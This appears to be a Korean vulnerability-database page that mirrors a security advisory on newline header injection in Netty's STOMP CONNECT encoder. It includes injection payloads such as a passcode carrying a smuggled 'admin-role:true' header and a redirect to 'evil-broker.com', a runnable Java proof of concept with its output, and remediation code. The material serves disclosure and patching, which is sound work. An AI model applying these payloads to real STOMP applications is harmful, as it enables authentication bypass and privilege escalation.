CVE-2026-59920MEDIUM· 6.5GHSA대응게시일: 2026. 07. 22.수정일: 2026. 07. 22.

Netty: STOMP CONNECT Frame Header Injection in Netty

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음

CVSS

6.5medium

이론적 심각도 점수

EPSS

—

예측 데이터 없음

KEV

미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로

공격 벡터네트워크

공격 복잡도낮음

필요 권한낮음

사용자 상호작용불필요

범위불변

영향

기밀성 영향없음

무결성 영향높음

가용성 영향없음

버전별 점수

CVSS 3.16.5MODERATE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

상세 설명

Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty

Vulnerability Summary

Field	Value
Product	Netty
Version	4.2.12.Final (and all prior versions with codec-stomp)
Component	`io.netty.handler.codec.stomp.StompSubframeEncoder`
Vulnerability Type	CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers
Impact	STOMP Header Injection / Authentication Bypass
CVSS 3.1 Score	6.5 (Medium)
CVSS 3.1 Vector	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N`
Attack Vector	Network
Attack Complexity	Low
Privileges Required	Low
User Interaction	None
Scope	Unchanged
Confidentiality Impact	None
Integrity Impact	High
Availability Impact	None

Affected Components

io.netty.handler.codec.stomp.StompSubframeEncoder — encodeHeaders() method (lines 174-200)
io.netty.handler.codec.stomp.StompSubframeEncoder — shouldEscape() method (lines 214-216)

Vulnerability Description

The Netty STOMP codec encoder (StompSubframeEncoder) intentionally skips the escape() function for CONNECT and CONNECTED commands. This means that newline characters (\n) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.

Root Cause

In StompSubframeEncoder.java, the shouldEscape() method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:

text

 1private static boolean shouldEscape(StompCommand command) {
 2    return command != StompCommand.CONNECT && command != StompCommand.CONNECTED;
 3}

When shouldEscape() returns false, header values are written without any escaping (line 195):

text

 1CharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue();
 2ByteBufUtil.writeUtf8(buf, headerValue);  // Raw \n written to output
 3buf.writeByte(StompConstants.LF);

For other commands (SEND, SUBSCRIBE, etc.), the escape() method (lines 218-240) correctly converts \n to \\n, \r to \\r, : to \\c, and \\ to \\\\.

STOMP Specification Context and Security Analysis

The STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should not use escaping, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.

However, "no escaping" does not mean "no validation". The specification's intent is that CONNECT headers should not use the \n → \\n escape notation. It does not mandate that implementations must accept raw newline characters within header values. There is a critical distinction:

Escaping = converting \n to \\n in the wire format (spec says: don't do this for CONNECT)
Validation = rejecting header values that contain \n (spec does not prohibit this)

Netty's implementation conflates these two concepts: by skipping escape(), it also skips all protection against newline injection. The correct behavior would be to skip escaping but still reject values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw \n.

This is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.

Additionally, Netty's own test suite explicitly validates this non-escaping behavior in StompSubframeEncoderTest.java:126-143 (testNotEscapeStompHeadersForConnectCommand), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.

Summary: The vulnerability exists because:

Header values in CONNECT frames are neither escaped nor validated for newlines
A raw newline in a header value creates a new header line on the wire
The STOMP broker parses each line as a separate header
The fix should validate (reject \n) rather than escape (convert \n to \\n), maintaining spec compliance

Exploitability Prerequisites

This vulnerability is exploitable when all of the following conditions are met:

The application uses Netty's codec-stomp module to encode STOMP frames
User-controlled input is placed into header values of a CONNECT or CONNECTED frame
The application does not perform its own newline sanitization
The downstream STOMP broker processes the injected headers (broker-dependent)

Typical affected use cases:

STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials
Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms
Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames

Attack Scenarios

Scenario 1: Authentication Bypass via Header Injection

An attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:

text

 1DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
 2frame.headers().set(StompHeaders.HOST, "localhost");
 3frame.headers().set(StompHeaders.LOGIN, "guest");
 4// Attacker injects a role header via \n in passcode
 5frame.headers().set(StompHeaders.PASSCODE, "password\nadmin-role:true");

Wire format sent to broker:

text

 1CONNECT
 2host:localhost
 3login:guest
 4passcode:password
 5admin-role:true        <-- INJECTED HEADER
 6                       <-- Empty line (end of headers)
 7\0

The broker receives 5 headers instead of the intended 4. If the broker checks for an admin-role header to grant elevated privileges, the attacker bypasses authentication.

Scenario 2: Subscription Hijacking

text

 1frame.headers().set(StompHeaders.PASSCODE, "pass\nhost:evil-broker.com");

This overwrites the host header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).

Scenario 3: Header Overwrite

text

 1frame.headers().set(StompHeaders.LOGIN, "user\nlogin:admin");

Wire format:

text

 1CONNECT
 2login:user
 3login:admin            <-- INJECTED, may override first
 4...

Some brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the admin account.

Proof of Concept

Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)

python

 1import io.netty.buffer.ByteBuf;
 2import io.netty.buffer.Unpooled;
 3import io.netty.channel.embedded.EmbeddedChannel;
 4import io.netty.handler.codec.stomp.*;
 5 
 6import java.nio.charset.StandardCharsets;
 7 
 8/**
 9 * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability
10 *
11 * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and
12 * CONNECTED commands, allowing \n injection in header values to create
13 * additional STOMP headers.
14 */
15public class StompConnectHeaderInjectionPoC {
16 
17    public static void main(String[] args) {
18        System.out.println("=== Netty STOMP CONNECT Header Injection PoC ===\n");
19 
20        testConnectHeaderInjection();
21        testConnectVsOtherCommand();
22 
23        System.out.println("\n=== PoC Complete ===");
24    }
25 
26    /**
27     * Test 1: CONNECT command header injection via \n in value
28     */
29    static void testConnectHeaderInjection() {
30        System.out.println("[TEST 1] CONNECT Header Value Injection");
31        System.out.println("-----------------------------------------");
32 
33        // Craft a CONNECT frame with \n in passcode value
34        DefaultStompHeaders headers = new DefaultStompHeaders();
35        headers.set(StompHeaders.HOST, "localhost");
36        headers.set(StompHeaders.ACCEPT_VERSION, "1.2");
37        headers.set(StompHeaders.LOGIN, "user");
38        headers.set(StompHeaders.PASSCODE, "password\nadmin-role:true");
39 
40        DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
41        frame.headers().setAll(headers);
42 
43        EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
44        channel.writeOutbound(frame);
45 
46        ByteBuf output = channel.readOutbound();
47        String encoded = output.toString(StandardCharsets.UTF_8);
48        output.release();
49        channel.finishAndReleaseAll();
50 
51        System.out.println("Input passcode: \"password\\nadmin-role:true\"");
52        System.out.println();
53        System.out.println("Encoded STOMP frame:");
54        System.out.println("---");
55        // Show with visible control chars
56        for (String line : encoded.split("\n", -1)) {
57            System.out.println("  " + line.replace("\r", "\\r").replace("\0", "\\0"));
58        }
59        System.out.println("---");
60 
61        // Check if the injected header appears as a separate line
62        boolean hasInjectedHeader = false;
63        String[] lines = encoded.split("\n");
64        for (String line : lines) {
65            if (line.startsWith("admin-role:")) {
66                hasInjectedHeader = true;
67                break;
68            }
69        }
70 
71        System.out.println();
72        System.out.println("Injected 'admin-role' appears as separate header: " + hasInjectedHeader);
73        System.out.println("VULNERABLE: " + (hasInjectedHeader ?
74            "YES - Header injection in CONNECT frame!" : "NO"));
75 
76        // Count actual STOMP headers (lines between command and empty line)
77        int headerCount = 0;
78        boolean inHeaders = false;
79        for (String line : lines) {
80            if (line.equals("CONNECT")) {
81                inHeaders = true;
82                continue;
83            }
84            if (inHeaders && line.trim().isEmpty()) break;
85            if (inHeaders && line.contains(":")) headerCount++;
86        }
87        System.out.println("Expected headers: 4 (host, accept-version, login, passcode)");
88        System.out.println("Actual headers:   " + headerCount);
89        System.out.println();
90    }
91 
92    /**
93     * Test 2: Compare CONNECT (no escape) vs SEND (with escape)
94     */
95    static void testConnectVsOtherCommand() {
96        System.out.println("[TEST 2] CONNECT vs SEND Escape Comparison");
97        System.out.println("--------------------------------------------");
98 
99        String maliciousValue = "value\ninjected:evil";
100 
101        // Test CONNECT (no escape)
102        {
103            DefaultStompHeaders headers = new DefaultStompHeaders();
104            headers.set(StompHeaders.HOST, "localhost");
105            headers.set("custom", maliciousValue);
106 
107            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
108            frame.headers().setAll(headers);
109            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
110            channel.writeOutbound(frame);
111 
112            ByteBuf output = channel.readOutbound();
113            String encoded = output.toString(StandardCharsets.UTF_8);
114            output.release();
115            channel.finishAndReleaseAll();
116 
117            System.out.println("CONNECT frame with custom=\"value\\ninjected:evil\":");
118            System.out.println("  Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0"));
119 
120            boolean hasRawNewline = encoded.contains("value\ninjected:evil");
121            System.out.println("  Raw \\n in output: " + hasRawNewline);
122            System.out.println("  VULNERABLE: " + (hasRawNewline ? "YES" : "NO"));
123        }
124 
125        System.out.println();
126 
127        // Test SEND (with escape)
128        {
129            DefaultStompHeaders headers = new DefaultStompHeaders();
130            headers.set(StompHeaders.DESTINATION, "/queue/test");
131            headers.set("custom", maliciousValue);
132 
133            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND);
134            frame.headers().setAll(headers);
135            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
136            channel.writeOutbound(frame);
137 
138            ByteBuf output = channel.readOutbound();
139            String encoded = output.toString(StandardCharsets.UTF_8);
140            output.release();
141            channel.finishAndReleaseAll();
142 
143            System.out.println("SEND frame with custom=\"value\\ninjected:evil\":");
144            System.out.println("  Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0"));
145 
146            boolean hasEscapedNewline = encoded.contains("value\\ninjected\\cevil");
147            boolean hasRawNewline = encoded.contains("value\ninjected:evil");
148            System.out.println("  Escaped \\n: " + hasEscapedNewline);
149            System.out.println("  Raw \\n:     " + hasRawNewline);
150            System.out.println("  SAFE: " + (hasEscapedNewline && !hasRawNewline ? "YES" : "NO"));
151        }
152        System.out.println();
153    }
154}

How to Compile and Run

bash

 1# Build Netty (skip tests for speed)
 2./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \
 3  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
 4  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q
 5 
 6# Set classpath
 7JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
 8  | grep -v sources | grep -v javadoc | tr '\n' ':')
 9 
10# Compile and run
11javac -cp "$JARS" StompConnectHeaderInjectionPoC.java
12java -cp "$JARS:." StompConnectHeaderInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

text

 1=== Netty STOMP CONNECT Header Injection PoC ===
 2 
 3[TEST 1] CONNECT Header Value Injection
 4-----------------------------------------
 5Input passcode: "password\nadmin-role:true"
 6 
 7Encoded STOMP frame:
 8---
 9  CONNECT
10  host:localhost
11  accept-version:1.2
12  login:user
13  passcode:password
14  admin-role:true          <-- INJECTED HEADER
15 
16  \0
17---
18 
19Injected 'admin-role' appears as separate header: true
20VULNERABLE: YES - Header injection in CONNECT frame!
21Expected headers: 4 (host, accept-version, login, passcode)
22Actual headers:   5
23 
24[TEST 2] CONNECT vs SEND Escape Comparison
25--------------------------------------------
26CONNECT frame with custom="value\ninjected:evil":
27  Encoded: CONNECT\nhost:localhost\ncustom:value\ninjected:evil\n\n\0
28  Raw \n in output: true
29  VULNERABLE: YES
30 
31SEND frame with custom="value\ninjected:evil":
32  Encoded: SEND\ndestination:/queue/test\ncustom:value\ninjected\cevil\n\n\0
33  Escaped \n: true
34  Raw \n:     false
35  SAFE: YES
36 
37 
38=== PoC Complete ===

Key Observation

The PoC demonstrates a clear inconsistency:

CONNECT command: \n is written raw → header injection succeeds
SEND command: \n is escaped to \\n → header injection prevented

Impact Analysis

Impact Category	Description
Authentication	Injected headers may bypass broker authentication logic
Authorization	Role escalation via injected role/permission headers
Integrity	Modification of connection parameters (host, version, etc.)
Broker-Specific	Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.)

Affected Brokers

This vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers:

RabbitMQ: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins
ActiveMQ: May process custom headers for internal routing
Custom Brokers: Most likely to be affected if they trust all received headers

Remediation Recommendations

Option 1: Validate CONNECT Header Values (Recommended)

Add newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely:

text

 1private static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) {
 2    StompCommand command = frame.command();
 3    ByteBufUtil.writeUtf8(buf, command.toString());
 4    buf.writeByte(StompConstants.LF);
 5 
 6    boolean shouldEscape = shouldEscape(command);
 7    for (Entry<CharSequence, CharSequence> entry : frame.headers()) {
 8        CharSequence headerKey = entry.getKey();
 9        CharSequence headerValue = entry.getValue();
10 
11        if (shouldEscape) {
12            headerKey = escape(headerKey);
13            headerValue = escape(headerValue);
14        } else {
15            // For CONNECT/CONNECTED: don't escape but REJECT newlines
16            validateNoNewlines(headerKey, "header name");
17            validateNoNewlines(headerValue, "header value");
18        }
19 
20        ByteBufUtil.writeUtf8(buf, headerKey);
21        buf.writeByte(StompConstants.COLON);
22        ByteBufUtil.writeUtf8(buf, headerValue);
23        buf.writeByte(StompConstants.LF);
24    }
25    buf.writeByte(StompConstants.LF);
26}
27 
28private static void validateNoNewlines(CharSequence value, String type) {
29    for (int i = 0; i < value.length(); i++) {
30        char c = value.charAt(i);
31        if (c == '\n' || c == '\r') {
32            throw new IllegalArgumentException(
33                "STOMP CONNECT " + type + " contains illegal newline at index " + i);
34        }
35    }
36}

Option 2: Apply Escaping to All Commands

Simply remove the CONNECT/CONNECTED exception:

text

 1private static boolean shouldEscape(StompCommand command) {
 2    return true; // Always escape
 3}

Note: This may break compatibility with STOMP 1.0 clients, but is the most secure approach.

References

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.

참고 자료 4

링크 내용 불러오는 중…